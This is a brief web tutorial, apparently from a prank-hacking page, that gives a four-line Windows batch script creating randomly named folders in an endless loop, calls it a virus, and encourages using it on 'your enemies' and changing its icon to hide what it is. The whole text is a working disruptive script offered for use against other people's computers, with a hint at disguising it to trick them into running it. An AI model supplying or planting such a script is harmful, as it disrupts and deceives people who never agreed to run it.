How To Make A Virus That Will Make 1,000 Folders In Few Seconds

• Open notepad and type 
• Copy and paste below code into notepad.

@echo off
:top
md %random%
goto top

@echo off makes it so that it appears to be a blank screen but actually its making hundreds of folder.
md %random% is command that creating folders with random names.
goto top – return to label :top , infinite loop

• Save it as 1000folders.bat

• After that you will get icon that looks as show below

Now bat virus has created by you.but your enemies know what is that.because u want to change that icon.